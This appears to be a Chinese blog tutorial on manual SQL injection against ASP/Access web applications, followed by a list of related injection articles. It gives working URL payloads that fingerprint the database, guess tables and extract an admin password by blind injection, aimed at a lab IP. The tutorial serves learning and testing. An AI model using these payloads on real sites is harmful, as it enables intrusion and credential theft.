ACCESS手注
ASP一般搭载ACCESS或者mssql
判断数据库类型
http://www.***.com?id=1 and (select count(*) from sysobjects)>0
http://www.***.com/id=1 and (select count(*) from msysobjects)>0
如果加sysobjects的SQL语句后,网页显示正常, 加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。
猜解表名和列名
两种方法:联合查询猜解、exists()函数猜解
联合查询猜解
联合查询 先用order by判断列的长度,然后联合查询表,回显正常即为表存在,反之为不存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin_user 返回回显位置,说明 admin_user表存在。
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin 返回错误,说明 admin 表不存在
exists()函数猜解
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin_user) 返回正常说明表 admin_user 存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin) 返回错误信息,说明 admin 表不存在。
PS:如果猜不到表名列名就要试试偏移注入了
爆字段内容
联合查询法:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,列名,4,5,6,7 from 表名
函数猜解法:
表名:admin_user
列名:password
判断长度:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select len(password) from admin_user)=32 返回正常说明内容长度为 32
猜解内容:
一个一个字符串的猜,和盲注一样的道理。
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>49 返回正常
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>50 返回错误
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)=50 返回正常
对照ASCII码表可知,第一个字符为数字 2 ,
依次猜解,直到猜解出全部内容。
ACCESS手注的更多相关文章
- sqli-labs11-17(手注+sqlmap)
这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的 0x01 sqli-labs less-11 1.手工 由于是post型注入,那么我们不能在url ...
- SQL注入 手注与联合注入
SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令: 得到数据库用户名和密码 1:在以,{ .asp?id=32( ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- MySQL手注之盲注(布尔)
布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length() 返回字符串的长度, 可 ...
- MySQL手注之报错注入
报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...
- MySQL手注之联合查询注入
了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数 必须有两条以上的select语句组成 列的数据类型必须兼容 ...
- sql 手注 语法
mysql中的information_schema 结构用来存储数据库系统信息 information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表. | SCHEMATA ―― ...
- 实验吧——看起来有点难(sql盲注)
题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...
- access偏移注入原理
前言:近段时间在学习access偏移注入时,在网上查询了大量的资料,感觉很多资料讲解的十分模糊并且我个人认为有很多不够严谨的地方,于是我便在线下经过大量测试,写出以下文章,如有错误,望指出. 如要转载 ...
随机推荐
- windows使用sdelete安全的删除文件
SDelete是一款来自于微软Sysinternals[1]的应用.使用SDelete可以安全的删除现有文件,以及安全地擦除磁盘的未分配部分中存在的数据(包括已经删除或加密的文件).SDelete使用 ...
- 配置NFS实现nginx动静分离
案例子任务一.安装配置NFS服务器 步骤1:使用docker容器配置NFS服务器 启动centos容器并进入 docker run -d --privileged centos:v1 /usr/sbi ...
- 关于线上JVM动态参数设置调优
p.p1 { margin: 0; -webkit-hyphens: auto; font: 16px Arial; color: rgba(68, 68, 68, 1); -webkit-text- ...
- 大话MySQL锁
一.锁介绍 不同存储引擎支持的锁是不同的,比如MyISAM只有表锁,而InnoDB既支持表锁又支持行锁. 下图展示了InnoDB不同锁类型之间的关系: 图中的概念比较多不好理解,下面依次进行说明. 1 ...
- Spark RDD批量写入Hbase
- Flink SQL 核心概念剖析与编程案例实战
本次,我们从 0 开始逐步剖析 Flink SQL 的来龙去脉以及核心概念,并附带完整的示例程序,希望对大家有帮助! 本文大纲 一.快速体验 Flink SQL 为了快速搭建环境体验 Flink SQ ...
- 杭电OJ2007----平方和与立方和(易错题)
Problem Description 给定一段连续的整数,求出他们中所有偶数的平方和以及所有奇数的立方和. Input 输入数据包含多组测试实例,每组测试实例包含一行,由两个整数m和n组成. Out ...
- 计算起始车站车费问题-JavaScript数组对象写法
计算起始站车费 题目:深圳--60--广州--50-虎门--40- -中山--36-珠海一34-澳门一89一香港以上车票费用计算,如坐车深圳到广州60元,广州到虎门50元,深圳到虎门就是60+50-1 ...
- 【ORA】ORA-00371: not enough shared pool memory
今天rac中有一个节点asm实例起不来包了ora-000371的错误,错误贴在下面: [oracle@rac2 dbs]$ srvctl start asm -n rac2 PRKS-1009 : F ...
- CTFHub - Web(六)
命令注入: 1.进入页面,测试127.0.0.1, 关键代码: <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip'] ...